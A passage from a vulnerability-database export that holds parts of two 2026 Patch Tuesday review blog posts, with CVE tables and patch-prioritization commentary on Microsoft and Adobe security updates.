Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62748\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62699\n  Windows Universal Disk\n  Format File System Driver (UDFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61926\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62721\n  Windows User-Mode\n  Power Service (UMPS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62711\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62712\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62733\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62876\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62877\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62885\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65678\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65775\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65776\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62730\n  Windows Wired\n  AutoConfig Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61349\n  Windows Work Folder\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61939\n  Winlogon Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56179\n  Windows\n  Network Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \nAs with last month, I\u2019ll do my best to summarize everything else in this release, but assume there are details I miss that are relevant to your environment.\nLooking at the remaining Critical-rated patches, you are safe to ignore the scariest looking ones, including the CVSS 10\u2019s. These have already been mitigated by Microsoft and do not count towards today\u2019s total of 398. The iSCSI Target service, however, is a CVSS 9.8, but it\u2019s not installed by default. Microsoft notes a DHCP Server heap overflow and a SharePoint deserialization bug are both listed as \u201cexploitation more likely\u201d. That SharePoint bug brought two EoP siblings along for the ride. And what would a Patch Tuesday be without Preview Pane exploit vectors in Office components? There are many in August, although there are a few Office bugs listed as Critical but without the Preview Pane vector. Odd. Then there\u2019s the mid-tier pile no one is proud of, but everybody needs to patch anyway: AD CS, RRAS, SSTP, and a matched pair in Device Health Attestation, all leaning on higher attack complexity as their only saving grace. Consider this a coin flip, not a shield. The bug in RMCAST is unauthenticated but requires an adjacent attacker. The bug in Key Guard is a bit interesting, as it could lead to an attacker gaining Virtual Trust Level 1 (VTL1) privileges. The final Critical-rated bug is in the RDP client, but it requires a user to connect to a malicious RDP server.\nMoving on to the other code execution bugs, SharePoint alone accounts for seven of these, six of them the same deserialization-of-untrusted-data flaw repeated almost verbatim across different code paths, all needing only low-privilege auth and no interaction. The seventh is an input-validation miss that needs no auth at all, just a harder-to-pull-off attack chain. LDAP and SMBv3 each draw a matching pair of patches. The LDAP bugs are a heap overflow and a use-after-free, both needing a user to interact with something first; the SMBv3 pair is twin heap overflows. Visual Studio Code adds three of its own: missing authorization, OS command injection, and straight code injection, all requiring a user to open or run something. The AI-coding-tool-vuln-of-the-month tradition continues uninterrupted. The rest of the CVSS 8.1\u20138.8 tier is a grab bag with a common thread \u2014 LSASS and Exchange Server both go down to heap overflows with low-privilege access, Dynamics 365 On-Premises gets the SharePoint treatment (deserialization), and Active Directory Domain Services picks up a command-injection bug that needs a user's cooperation. Add one apiece for Teams, Power BI, Outlook, and a pair for Windows Media Foundation, plus a higher-complexity trio: RPC Runtime Library, Windows TCP/IP, and a second iSCSI Target Service bug. All needing unusual attack conditions to line up, which buys you a little time but not an excuse. Then the file-format mountain: seventeen Excel bugs, six in Access, four apiece in Office and Office Word, one plain Word, one PowerPoint, one .NET Core. Remote Desktop Client's other three bugs sit at a comparatively modest 7.5, but don't read too much comfort into that \u2014 all three need high attack complexity and user interaction, which is precisely the combination phishing campaigns are built to satisfy. Closing out RCE category, there are two more DNS Server bugs, a DHCP Client use-after-free needing local low-privilege access, a Universal Disk Format driver bug that requires physical media and a Windows Codecs Library.\nThere are nearly 180 privilege escalation bugs fixed this month, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. Believe it or not, that leaves only about 20 bugs to discuss. Access control keeps failing in the same places: SharePoint draws two EoPs, then contributes a third via server-side request forgery, and a fourth through cross-site scripting (XSS) that at least needs a user to click something first. Entra Connect adds a SQL injection, .NET Framework an incorrect-authorization bug, and Azure CycleCloud adds a missing-authorization flaw, That\u2019s five different products with the same underlying lesson about checking who\u2019s allowed to do what. Windows Telephony Service is the surprise repeat offender, landing four separate EoPs, but four bugs in one dusty legacy service in a single release is the kind of pattern that makes you wonder who's still dialing in. The rest is a genuine grab bag: Key Guard gets a heap overflow sitting on the trust chain below the OS, DHCP Client and Narrator Braille both fall to local low-privilege bugs, .NET picks up an uncaught exception that actually changes scope, .NET Framework adds a path-traversal bug requiring a click, GitHub Copilot and VS Code get an OS command injection needing the same, Azure Storage Explorer falls to XSS, Azure Monitor Agent and OneDrive for macOS both need high privileges just to start, which caps their real-world urgency, and Exchange Server closes it out with an SSRF bug whose blast radius Microsoft itself rates as confidentiality-only, no integrity or availability hit.\nThere are 11 SFB bugs this month, all Important, none exploited or publicly disclosed. Visual Studio Code accounts for four, Python extension included: one fails open outright, the other three trip on bad authorization checks \u2014 all need a click, which is a low bar in a tool people click through constantly. PowerShell adds a code-injection bypass, and Copilot Chat gets one as well. Exchange Server and Windows Defender Firewall Service both via have missing authorization bugs. The .NET service has a bug via HTTP request smuggling, Active Directory via weak encryption, and Schannel via bad signature verification. In the low individual urgency category, both Schannel and AD have bugs with  \u201cbroken crypto trust\u201d are worth a second look despite the low scores.\nLooking at the info disclosure bugs, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. There are few others of note. The CVSS 6.5 tier is the one with more bite: Windows DHCP Server alone accounts for eight of these, three more hit Remote Desktop Client, two hit SMB Client, two hit Excel, and singles land in PowerShell, .NET, Azure CycleCloud, two Dynamics products, SharePoint, Teams iOS, and VS Code. All are unauthenticated, network-reachable memory leaks, but DHCP Server picking up eight in one release is a pattern, not noise. Everything else sits at 5.5 or below and is almost entirely \"leaks unspecified memory contents,\" differing mainly by which component leaks it. Office file formats dominate with roughly twenty bugs split across Excel, Word, Office generically, Office Graphics, and PowerPoint. Win32k contributes four, NTFS five, GDI/GDI+ three, Event Logging and WMI two apiece, DWM Core two, AMD Zen two. The remaining singles clear out fine during a normal patch cycle without special urgency.\nMoving on to spoofing patches for August, SharePoint dominates with eleven bugs, mostly stored XSS letting an authenticated attacker spoof content, plus a mixed bag of deserialization, code injection, SSRF, and credential exposure at the low end. Outside SharePoint, Teams for Android/iOS gets a high-CVSS (8.8) XSS bug. Exchange Server gets one too. Windows NAT has a scope-changing origin-validation flaw reachable from an adjacent network, and Outlook closes it out with a credential-exposure spoofing bug.\nThere are 14 DoS bugs getting patched this month. NULL pointer dereferences dominate: TCP/IP, iSCSI Target Service, Windows Graphics Kernel, and Remote Registry Service (twice) all crash the same way, unauthenticated over the network. iSCSI Target Service adds a second DoS via heap overflow, with three hits total this release counting its RCE. Resource-exhaustion bugs cover .NET, RPC, DHCP Client, and Microsoft Identity - all unauthenticated, all just flood-and-crash. The rest need local or elevated access: Exchange Server, Windows Network File System, and path/link-resolution bug in Windows Management Services. In other words, nothing exotic. Just patch it in the normal cycle, with a nod to Remote Registry Service and iSCSI Target Service for repeat appearances.\nFinally, there are a handful of tampering bugs receiving patches this month. They start with SharePoint via incorrect authorization. The Windows HTTP Protocol Stack has a bug via a partial string comparison flaw reachable from an adjacent network, and Windows Hello via cleartext storage of sensitive data locally. The Hello one is the one worth a second glance. Biometric auth storing something in the clear isn't a great look, even at a modest 5.5.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on September 8, just after Labor Day here is the US. I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-08-12T01:01:42.932997Z"}, {"uuid": "1ee9d0dd-d8f5-4780-9fc0-c7f720fba906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  